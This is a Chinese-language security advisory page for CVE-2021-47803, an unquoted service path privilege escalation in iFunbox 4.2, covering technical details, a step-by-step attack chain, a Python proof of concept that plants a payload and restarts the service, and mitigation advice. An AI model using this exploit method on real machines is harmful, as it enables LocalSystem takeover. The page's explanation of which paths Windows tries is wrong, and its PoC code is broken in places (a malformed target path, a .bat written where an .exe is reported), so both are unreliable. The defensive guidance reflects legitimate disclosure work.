IPBUF安全漏洞报告
English
CVE-2021-47803 CVSS 7.8 高危

CVE-2021-47803 iFunbox Apple Mobile Device Service 未引用服务路径提权漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47803
漏洞类型
未引用服务路径提权
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
iFunbox 4.2

相关标签

CVE-2021-47803未引用服务路径提权漏洞本地攻击iFunboxApple Mobile Device ServiceWindows服务安全路径劫持LocalSystem权限高危漏洞

漏洞概述

CVE-2021-47803是iFunbox 4.2版本中存在的一个高危安全漏洞,存在于Apple Mobile Device Service服务中。该漏洞属于Windows系统中经典的未引用服务路径(Unquoted Service Path)问题,允许本地低权限攻击者通过精心构造恶意可执行文件并放置在服务路径的特定位置,当Apple Mobile Device Service服务重启时,以LocalSystem最高权限自动执行恶意代码,从而实现权限提升。LocalSystem是Windows系统中最高权限的账户,拥有对本地系统的完全控制权,攻击成功后可完全控制目标主机。由于该漏洞的CVSS评分达到7.8分,且攻击向量为本地攻击,无需用户交互,认证要求为低权限,因此实际危害性较高。iFunbox是一款流行的iOS设备管理工具,广泛应用于苹果设备的数据传输、应用管理等功能,其Windows版本中包含的Apple Mobile Device Service用于与iOS设备进行通信。该服务在安装时未正确配置可执行文件路径,导致存在可利用的路径劫持风险。

技术细节

未引用服务路径漏洞是Windows服务配置中常见的安全问题。当Windows服务配置的可执行文件路径包含空格且未被双引号包裹时,系统会从路径的第一个空格处进行解析,从而可能被攻击者劫持。以本漏洞为例,如果服务路径配置为C:\Program Files\iFunbox\Apple Mobile Device Service\AMS.exe,系统会首先尝试执行C:\Program.exe,如果存在则直接执行;接着尝试C:\Program Files\AMS.exe,然后是C:\Program Files\iFunbox\AMS.exe.exe,最后才正确执行完整路径。攻击者可以利用这一特性,将恶意可执行文件命名为Program.exe并放置在C:\根目录,当服务重启时会以LocalSystem权限执行该恶意程序。攻击者需要具备以下条件:1)目标系统上已安装存在漏洞的iFunbox版本;2)攻击者具有在该服务路径上级目录创建文件的低权限;3)能够触发服务重启(如系统重启或服务重启)。成功利用后可获得系统最高权限,可用于部署后门、窃取敏感数据、安装恶意软件等恶意操作。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先扫描目标系统,确认是否安装了存在漏洞的iFunbox 4.2版本,并通过sc query命令查询Apple Mobile Device Service的配置信息,获取其BINARY_PATH_NAME路径
STEP 2
步骤2
路径分析:攻击者分析服务路径是否包含空格且未被双引号包裹。对于路径C:\Program Files\iFunbox\Apple Mobile Device Service\AMS.exe,系统会从第一个空格处开始尝试执行
STEP 3
步骤3
权限检查:攻击者验证是否具有在服务路径上级目录(如C:\根目录)创建文件的权限。由于漏洞利用需要写入文件到系统关键目录,通常需要低权限用户即可
STEP 4
步骤4
恶意程序部署:攻击者将精心构造的恶意可执行文件(如Program.exe)放置在未引用路径的第一个目录位置(C:\Program.exe),该程序通常为后门程序或命令执行脚本
STEP 5
步骤5
触发服务重启:攻击者等待或主动触发Apple Mobile Device Service服务重启,可以是系统重启、用户登录事件、服务崩溃或攻击者主动执行sc stop/start命令
STEP 6
步骤6
权限提升:服务重启时,Windows服务管理器按照路径顺序首先执行C:\Program.exe,该文件以LocalSystem账户权限运行,攻击者因此获得系统最高权限
STEP 7
步骤7
持久化控制:攻击者利用获得的最高权限进行后门安装、凭据窃取、横向移动等后续攻击,建立持久化控制通道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47803 PoC - iFunbox Unquoted Service Path Privilege Escalation # This PoC demonstrates the unquoted service path vulnerability in iFunbox's Apple Mobile Device Service # Author: Security Researcher # Date: 2024 import os import subprocess import sys import shutil def check_vulnerability(): """Check if target system has the vulnerable service""" try: # Query for the Apple Mobile Device Service result = subprocess.run( ['sc', 'qc', 'Apple Mobile Device Service'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print('[+] Vulnerable service found: Apple Mobile Device Service') # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f'[+] Current path: {path}') # Check if path is unquoted and contains spaces if ' ' in path and not path.startswith('"'): print('[+] VULNERABLE: Path is unquoted with spaces!') return True, path return False, None except Exception as e: print(f'[-] Error checking service: {e}') return False, None def create_malicious_executable(output_path): """Create a malicious executable for privilege escalation""" # This is a placeholder - in real attack, this would be actual malicious code malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ // Create a new user with admin privileges // This demonstrates the privilege escalation capability FILE *f = fopen("C:\\\\Windows\\\\Temp\\\\pwned_{os.getpid()}.txt", "w"); if (f) {{ fprintf(f, "Privilege Escalation Successful!\\n"); fprintf(f, "Running as: "); // Execute whoami equivalent system("whoami >> C:\\\\Windows\\\\Temp\\\\pwned_{os.getpid()}.txt"); fclose(f); }} // Spawn a command shell with LocalSystem privileges // In real attack: system("cmd.exe") or similar return 0; }} ''' print(f'[*] Creating malicious executable stub at: {output_path}') # Note: Actual implementation would compile the C code # For demonstration, create a simple batch file with open(output_path.replace('.exe', '.bat'), 'w') as f: f.write(f'@echo off\n') f.write(f'echo [CVE-2021-47803] Privilege Escalation Triggered >> C:\\\\Windows\\\\Temp\\\\pwned.txt\n') f.write(f'whoami >> C:\\\\Windows\\\\Temp\\\\pwned.txt\n') print(f'[+] Malicious file created: {output_path}') return True def exploit(target_path): """Perform the actual exploitation""" # Parse the unquoted path to find injection point # For "C:\Program Files\iFunbox\Apple Mobile Device Service\AMS.exe" # Attack vector: Create "C:\Program.exe" path_parts = target_path.strip('"').split('\\') if len(path_parts) >= 2: # Calculate the injection point (first directory with space in name) injection_dir = path_parts[0] malicious_exe = os.path.join(injection_dir, 'Program.exe') if create_malicious_executable(malicious_exe): print(f'[+] Malicious executable placed at: {malicious_exe}') print('[+] Next step: Trigger service restart to execute payload') print(' Command: sc stop "Apple Mobile Device Service" && sc start "Apple Mobile Device Service"') return True return False if __name__ == '__main__': print('='*60) print('CVE-2021-47803 iFunbox Unquoted Service Path PoC') print('='*60) vulnerable, path = check_vulnerability() if vulnerable: print('\n[*] Attempting exploitation...') exploit(path) else: print('[-] Target not vulnerable or service not found')

影响范围

iFunbox 4.2 (所有子版本)

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)使用icacls命令限制C:\根目录的写入权限,移除普通用户的创建文件权限;2)手动修改注册表HKLM\SYSTEM\CurrentControlSet\Services\Apple Mobile Device Service下的ImagePath值,为路径添加双引号;3)如果Apple Mobile Device Service非业务必需,可暂时禁用该服务以避免被利用;4)部署应用程序白名单策略,阻止Program.exe等常见劫持文件名在系统目录执行;5)加强主机入侵检测规则,监控sc.exe服务控制命令的异常调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表